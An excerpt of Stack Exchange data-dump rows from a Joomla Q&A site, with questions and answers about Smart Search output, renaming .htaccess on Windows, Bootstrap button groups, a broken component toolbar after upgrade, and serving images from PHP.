  <row Id="5364" PostTypeId="1" AcceptedAnswerId="5373" CreationDate="2014-11-24T12:19:58.787" Score="2" ViewCount="730" Body="&lt;p&gt;I use the Smart Search of Joomla 2.5. So I added it and made an Index etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works but it also shows some HTML-Code of the articles within results. I don't want that a User can see that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I avoid this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a Screenshot as an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bxlxk.png&quot; alt=&quot;Smart Search shows HTML-Code within result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2125" LastEditorUserId="2125" LastEditDate="2014-11-24T14:57:27.607" LastActivityDate="2014-11-24T17:04:14.497" Title="Searching with Smart Search shows HTML-Code of articles" Tags="|joomla-2.5|smartsearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5366" PostTypeId="1" AcceptedAnswerId="5461" CreationDate="2014-11-24T13:43:22.023" Score="2" ViewCount="480" Body="&lt;p&gt;Scenario: Jomla 3.3 + CB 2.3 + CB Profile PRO + JFBConnect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target:&#xA;Free user registration to Group A or/and group B also in two different timeframe.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Group A (simple Joomla registration): Login with FB account (required field: username + email + FBid)&lt;/li&gt;&#xA;&lt;li&gt;GROUP B: (required field: field3+field4+field5...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To switch from group A to group B the user has to fill all required field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I set all fields as required they are required also in the basic registration form (Group A)&lt;/li&gt;&#xA;&lt;li&gt;If I don't set the Group B filed as required, users can switch to Group B witout filling all fields.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any tips?&#xA;thx&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="396" LastEditDate="2014-11-25T05:46:36.710" LastActivityDate="2014-11-30T06:53:49.270" Title="Adding user to different group with different required field" Tags="|joomla-3.x|joomla-user-groups|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5367" PostTypeId="1" AcceptedAnswerId="5382" CreationDate="2014-11-24T14:56:05.513" Score="1" ViewCount="8284" Body="&lt;p&gt;I'm developing a website using xampp on my Windows computer. But when I try to rename the file &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; in order to enable rewrite rules in Joomla, I get an error message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VSSLP.jpg&quot; alt=&quot;File rename error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I rename this file?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-25T05:31:15.160" Title="Rename htaccess on Windows" Tags="|.htaccess-configuration|localhost|xampp|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5368" PostTypeId="2" ParentId="5367" CreationDate="2014-11-24T14:56:05.513" Score="2" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;br&gt;&#xA;As the message confirms, Windows does not allow empty file names. The &lt;code&gt;.htaccess&lt;/code&gt; file is used on Linux systems, and the dot (&lt;code&gt;.&lt;/code&gt;) in front of the name is used to make it a &lt;a href=&quot;https://askubuntu.com/questions/94780/what-are-dot-files&quot;&gt;hidden file&lt;/a&gt;. However, Windows files consists of a name (before the dot) and a file type (after the dot), thus interpretting the &quot;name&quot; of the file as empty, and the file type as &lt;code&gt;htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can this limitation be overcome on a Windows system? Windows has no problems copying and editing a file named &lt;code&gt;.htaccess&lt;/code&gt; if it already exists, it's just renaming the file that causes problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 1&lt;/strong&gt;&lt;br&gt;&#xA;It's possible to rename the file using the command prompt (previously DOS, for those who remember pre-windows times).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Browse to the root folder of your localhost Joomla installation (e.g. &lt;code&gt;c:\xampp\htdocs\myjoomla&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Go to File - Open command prompt (or use this keyboard shortcut: &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Menu&lt;/kbd&gt;, &lt;kbd&gt;W&lt;/kbd&gt;, &lt;kbd&gt;Enter&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;You should see a black window with the text &lt;code&gt;C:\xampp\htdocs\myjoomla&amp;gt;_&lt;/code&gt;, indicating the current folder location.&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;code&gt;rename htaccess.txt .htaccess&lt;/code&gt; in order to rename the file (no confirmation is given, but the file is renamed)&lt;/li&gt;&#xA;&lt;li&gt;Close the window (or type &lt;code&gt;exit&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lifrJ.jpg&quot; alt=&quot;Rename .htaccess file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution 2&lt;/strong&gt;&lt;br&gt;&#xA;Another alternative is to copy an existing &lt;code&gt;.htaccess&lt;/code&gt; from another Joomla installation (or download from an online Joomla installation). As mentioned earlier, the &lt;em&gt;nameless&lt;/em&gt; file can be copied and edited without any problems by Windows.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:25:25.577" LastActivityDate="2014-11-24T14:56:05.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5369" PostTypeId="2" ParentId="5367" CreationDate="2014-11-24T15:14:14.273" Score="4" Body="&lt;p&gt;Good answer provided by @Johanpw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, what I always do is open the &lt;code&gt;htaccess.txt&lt;/code&gt; file in a text editor. For me, I tend to use &lt;strong&gt;Notepad++&lt;/strong&gt; for simplicity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, simply go to &lt;strong&gt;File&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Save As&lt;/strong&gt; (&lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt;) and name the file &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Job done&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-24T15:14:14.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5370" PostTypeId="1" AcceptedAnswerId="5372" CreationDate="2014-11-24T15:42:49.673" Score="5" ViewCount="2096" Body="&lt;p&gt;While we're developing our component using Protostar, we have found that the &lt;code&gt;btn-group&lt;/code&gt; and  &lt;code&gt;btn-group-yesno&lt;/code&gt; classes are not &quot;native&quot; per se, in that they're not necessarily supported in other templates such as Rockettheme/Gantry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The classes &lt;em&gt;are&lt;/em&gt; found in Bootstrap, but the RT template seems to override them somehow rendering some useless HTML where the button group is expected to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to include the Bootstrap css/logic in the component (&lt;em&gt;without&lt;/em&gt; forcing any template overrides), in spite of what the templates might be doing?  I'd like to insure that those classes are available and working without special instructions for a particular template.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-24T16:29:00.087" Title="How can I add support for styles BTN-GROUP and BTN-GROUP-YESNO as found in Protostar?" Tags="|templates|css|bootstrap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5371" PostTypeId="2" ParentId="5370" CreationDate="2014-11-24T15:46:44.980" Score="3" Body="&lt;p&gt;Not sure that this is the best-practice answer, but here's the simple change I made to have &lt;code&gt;btn-group&lt;/code&gt;/&lt;code&gt;btn-groupyesno&lt;/code&gt; supported in a &lt;strong&gt;&lt;em&gt;Rockettheme&lt;/em&gt;&lt;/strong&gt; template, though apparently has no effect with the Beez template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;protostar\js\template.js&lt;/code&gt;, I copied/pasted the below code into the javascript that is being loaded for all my forms.&#xA;No CSS change was apparently needed, presumably because this code engaged the styles from the bootstrap.css that was installed with joomla&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($) {&#xA;    $(document).ready(function() {&#xA;        // Turn radios into btn-group&#xA;        $('.radio.btn-group label').addClass('btn');&#xA;        $(&quot;.btn-group label:not(.active)&quot;).click(function()&#xA;            {&#xA;                var label = $(this);&#xA;                var input = $('#' + label.attr('for'));&#xA;&#xA;                if (!input.prop('checked')) {&#xA;                    label.closest('.btn-group').find(&quot;label&quot;).removeClass('active btn-success btn-danger btn-primary');&#xA;                    if (input.val() == '') {&#xA;                        label.addClass('active btn-primary');&#xA;                    } else if (input.val() == 0) {&#xA;                        label.addClass('active btn-danger');&#xA;                    } else {&#xA;                        label.addClass('active btn-success');&#xA;                    }&#xA;                    input.prop('checked', true);&#xA;                }&#xA;        });&#xA;        $(&quot;.btn-group input[checked=checked]&quot;).each(function()&#xA;            {&#xA;                if ($(this).val() == '') {&#xA;                    $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-primary');&#xA;                } else if ($(this).val() == 0) {&#xA;                    $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-danger');&#xA;                } else {&#xA;                    $(&quot;label[for=&quot; + $(this).attr('id') + &quot;]&quot;).addClass('active btn-success');&#xA;                }&#xA;        });&#xA;    })&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-11-24T16:29:00.087" LastActivityDate="2014-11-24T16:29:00.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5372" PostTypeId="2" ParentId="5370" CreationDate="2014-11-24T15:52:49.310" Score="3" Body="&lt;p&gt;The &lt;code&gt;btn-group-yesno&lt;/code&gt; class from what I've seem simply has very minor styling differences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for the same logic (left green and red right), but not dimensions as the &lt;code&gt;btn-group-yesno&lt;/code&gt; button group, then what you can do is use integers for your option values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;test&quot; type=&quot;radio&quot; default=&quot;1&quot; class=&quot;btn-group&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This however will output the same, but will only use the green active state:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;test&quot; type=&quot;radio&quot; default=&quot;1&quot; class=&quot;btn-group&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;yes&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;no&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I might have completely misunderstood your question, but if not, then hope the above helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-24T15:52:49.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5373" PostTypeId="2" ParentId="5364" CreationDate="2014-11-24T17:04:14.497" Score="2" Body="&lt;p&gt;It looks like your articles contains additional HTML code that has a &lt;code&gt;&quot;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;&lt;/code&gt; in the wrong place. If you copied your content from Word (or another text editor), or made changes to your html code, you'd get results like this. The &lt;code&gt;mso-&lt;/code&gt; prefixes strongly suggest this code comes from some Microsoft Office application, which I would guess means Word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example. If your HTML code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...it is ensured that&amp;lt;span&amp;gt;style=&quot;font-size:9.0pt;font-familiy:Symbol:mso-fareast-font:Symbol;mso-bidi-font-family:Symbol&quot;&amp;gt; the parts can indeed...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would produce a result similar to your second example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you open the articles in question, and if you're using the default TinyMCE editor, look for the &lt;kbd&gt;&amp;lt; &gt;&lt;/kbd&gt; button in the toolbar, or press &lt;kbd&gt;Toggle Editor&lt;/kbd&gt; below the text window. This will display your HTML code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a common problem that this kind of &lt;a href=&quot;http://www.tizag.com/cssT/inline.php&quot; rel=&quot;nofollow&quot;&gt;inline styling&lt;/a&gt; is added when copying from Word, thus overriding your template's CSS styles. You can paste as pure text using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;V&lt;/kbd&gt;, or paste to Notepad first and then copy-paste to Joomla.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-24T17:04:14.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5374" PostTypeId="1" AcceptedAnswerId="5404" CreationDate="2014-11-24T19:29:39.777" Score="2" ViewCount="525" Body="&lt;p&gt;While adapting a Joomla!2.5 backend-only component to Joomla!3.3, I've ran into the issue of the toolbar in the data edition page not working at all. Only two buttons were declared: Save and Cancel; neither do anything. Upon first glance, the problem is neither on the &lt;em&gt;view.html.php&lt;/em&gt; file, nor &lt;em&gt;tmpl/edit.php&lt;/em&gt;. This very component is already being used in our current Joomla!2.5 website and works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All control, model and view pages have already been updated to &lt;em&gt;JControllerLegacy&lt;/em&gt;, &lt;em&gt;JModelLegacy&lt;/em&gt; and &lt;em&gt;JViewLegacy&lt;/em&gt; respectively, where applicable. Server settings' error reporting has already been set to Maximum, but there's no error or warning showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;view.html.php&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;jimport('joomla.application.component.viewlegacy');&#xA;&#xA;class MrCarrosselNoticiasViewMrCarrosselNoticias extends JViewLegacy {&#xA;    function display($tpl = null){&#xA;        $form = $this-&amp;gt;get('Form');&#xA;        $item = $this-&amp;gt;get('Item');&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))){&#xA;            JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;            return false;&#xA;        }&#xA;        $this-&amp;gt;form = $form;&#xA;        $this-&amp;gt;item = $item;&#xA;        $this-&amp;gt;addToolBar();&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;    protected function addToolBar(){&#xA;        $input = JFactory::getApplication()-&amp;gt;input;&#xA;        $input-&amp;gt;set('hidemainmenu', true);&#xA;        $isNew = ($this-&amp;gt;item-&amp;gt;cod_destaque == 0);&#xA;        JToolBarHelper::title($isNew ? &quot;Novo Destaque&quot; : &quot;Editando Destaque&quot;);&#xA;        JToolBarHelper::save('mrcarrosselnoticias.save');&#xA;        JToolBarHelper::cancel('mrcarrosselnoticias.cancel', 'JTOOLBAR_CANCEL');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;tmpl/edit.php&lt;/em&gt;&lt;/strong&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted Access');&#xA;JHtml::_('behavior.tooltip');&#xA;JHtml::_('behavior.modal');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_mrcarrosselnoticias&amp;amp;layout=edit&amp;amp;cod_destaque='.(int) $this-&amp;gt;item-&amp;gt;cod_destaque); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;mrcarrosselnoticias-form&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;form-horizontal&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&amp;gt; 'details')); ?&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', 'Detalhes do Destaque'); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;span9&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getControlGroup('imagem'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getControlGroup('titulo'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getControlGroup('desc'); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getControlGroup('link'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.endTabSet'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;mrcarrosselnoticias.edit&quot; /&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2254" OwnerDisplayName="TheGardnerEffect" LastEditorUserId="2254" LastEditDate="2014-11-25T14:54:15.953" LastActivityDate="2014-11-25T21:02:35.893" Title="Joomla! 2.5 backend component adapted to Joomla! 3.3: Toolbar has stopped working" Tags="|component|fix-my-code|upgrade|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5375" PostTypeId="1" CreationDate="2014-11-24T21:18:15.940" Score="2" ViewCount="142" Body="&lt;p&gt;I have this error on my joomla installation and I'm not able to see what's causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been googling but there's not much information about this error. I've found that it might be something to do with jomsocial and went to the post forum that they have: &lt;a href=&quot;http://www.jomsocial.com/forum/photos-videos/13650-can-t-open-images-500-error&quot; rel=&quot;nofollow&quot;&gt;http://www.jomsocial.com/forum/photos-videos/13650-can-t-open-images-500-error&lt;/a&gt; &#xA;but I'm not able to see the response because Im not a member :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also disabled all the Jomsocial components in the extension manager but nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2255" LastEditorUserId="2255" LastEditDate="2014-12-04T20:54:34.413" LastActivityDate="2014-12-04T20:54:34.413" Title="Error 500 Controller CommunityPhotosController not found!" Tags="|joomla-2.5|jomsocial|" AnswerCount="0" CommentCount="7" ClosedDate="2014-12-11T19:44:37.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="5376" PostTypeId="5" CreationDate="2014-11-24T21:48:19.957" Score="0" Body="" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-24T21:48:19.957" LastActivityDate="2014-11-24T21:48:19.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5377" PostTypeId="4" CreationDate="2014-11-24T21:48:19.957" Score="0" Body="Going from one major version to another (i.e. 2.5 to 3.x) is usually called an upgrade as Starting with Joomla 1.6, this is a one-click upgrade (more or less), thus keeping the same installation of Joomla. " OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-24T21:48:19.957" LastActivityDate="2014-11-24T21:48:19.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5378" PostTypeId="1" AcceptedAnswerId="5380" CreationDate="2014-11-24T22:23:37.930" Score="5" ViewCount="7845" Body="&lt;p&gt;I am trying to show an image in a popup window using file_get_contents function and an echo statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have in the first view&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href='javascript:window.open(&quot;index.php?option=com_jsmdownload&amp;amp;view=request&amp;amp;tmpl=component&amp;amp;layout=showimage&amp;amp;img=icon-36-ldpi.png&quot;, &quot;Image View&quot;, &quot;toolbar=no, location=no, width=400, height=400&quot;)'&amp;gt;Click&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the code in my second layout inside the same view&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = JURI::base().DS.'files'.DS.'images'.DS.'icon.png';&#xA;//echo $image;&#xA;$content = file_get_contents($image); &#xA;header('Content-Type: image/png');&#xA;echo $content; exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click the 'Click' anchor in the first view it opens the popup window and it shows garbage inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQ90D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image path is correct and if I brows the image path in an another browser URL it shows the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what I am missing.  Can someone please help on this?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2014-11-25T19:40:51.397" LastActivityDate="2014-11-25T19:40:51.397" Title="Show image using file_get_contents in a popup window" Tags="|view|layout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5379" PostTypeId="2" ParentId="5378" CreationDate="2014-11-24T23:07:09.473" Score="4" Body="&lt;p&gt;Setting the header and trying to process the image directly is really unnecessary. This will produce the result you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second code block should be as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$layout = $input-&amp;gt;get('layout');&#xA;If (isset($layout) &amp;amp;&amp;amp; $layout == 'show image') {&#xA;$image = JURI::base().'files/images/icon.png';&#xA;printf('&amp;lt;img src=&quot;%s&quot; /&amp;gt;', $images);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2014-11-24T23:07:09.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5380" PostTypeId="2" ParentId="5378" CreationDate="2014-11-25T00:14:38.343" Score="5" Body="&lt;p&gt;I agree with Jeremy, you could simply use an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag and insert the filename using PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if for some reason you want to read the file using PHP, try using &lt;code&gt;readfile()&lt;/code&gt;. In addition, you can use &lt;strong&gt;&lt;a href=&quot;http://php.net/manual/en/function.getimagesize.php&quot;&gt;getimagesize()&lt;/a&gt;&lt;/strong&gt; to get the correct mime type and insert it dynamically. That way you're not limited to using one file type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image = JURI::base().DS.'files'.DS.'images'.DS.'icon.png';&#xA;$imginfo = getimagesize($image);&#xA;header(&quot;Content-type: &quot;.$imginfo['mime']);&#xA;readfile($image);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-25T00:14:38.343" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5381" PostTypeId="2" ParentId="5352" CreationDate="2014-11-25T01:12:34.480" Score="3" Body="&lt;p&gt;I think I see the issue with the search module form destination url.   The form action attribute needs the option and view parameters.  I see you added them as hidden field at the end of the form,  but try removing those fields and adding to the JRoute url like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;books-search&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_usedbooks&amp;amp;view=search')?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since these are crucial for the frame work properly routing the request, this should at least ensure the module form routes to the proper component and view.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-11-25T01:12:34.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5382" PostTypeId="2" ParentId="5367" CreationDate="2014-11-25T05:22:52.500" Score="4" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;In Windows Explorer&lt;/em&gt;&lt;/strong&gt;, the path of least resistance is to select the file then press &lt;code&gt;F2&lt;/code&gt; to rename it (or right-click and choose &lt;em&gt;Rename&lt;/em&gt;), then rename to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.htaccess.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73ArU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the trailing dot (&lt;code&gt;.&lt;/code&gt;), make sure you add that too. Hit enter and confirm that you want to rename the file and voila:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d5CaR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have a monkey head icon because I've got Helicon Tech's APE installed.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the Windows standard &lt;em&gt;&quot;Save As&quot;&lt;/em&gt; dialogues will also let you save files named with a leading period this way as well provided you save as the type &lt;code&gt;All files (*.*)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2014-11-25T05:31:15.160" LastActivityDate="2014-11-25T05:31:15.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5385" PostTypeId="1" AcceptedAnswerId="5387" CreationDate="2014-11-25T10:07:11.960" Score="1" ViewCount="718" Body="&lt;p&gt;I want to show a module when a page is loaded for the first time, but the module is in a hover type position so it's not actually on the page. Please see the image here for a better description:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XDF7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-11-25T11:48:51.653" Title="Show module as hover item" Tags="|module|jquery|module-display|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5386" PostTypeId="2" ParentId="5385" CreationDate="2014-11-25T10:13:25.287" Score="1" Body="&lt;p&gt;What you could do is trigger a &lt;code&gt;mouseover&lt;/code&gt; event using jQuery once the DOM is ready, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $('.element').trigger('mouseover');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the best thing to do first is to inspect the element in your browser, hover over the icon and see if any classes are add once hovered upon. If so, then you could do thing a little differently and add that same class on page load which might automatically show the box.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-11-25T10:22:49.043" LastActivityDate="2014-11-25T10:22:49.043" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
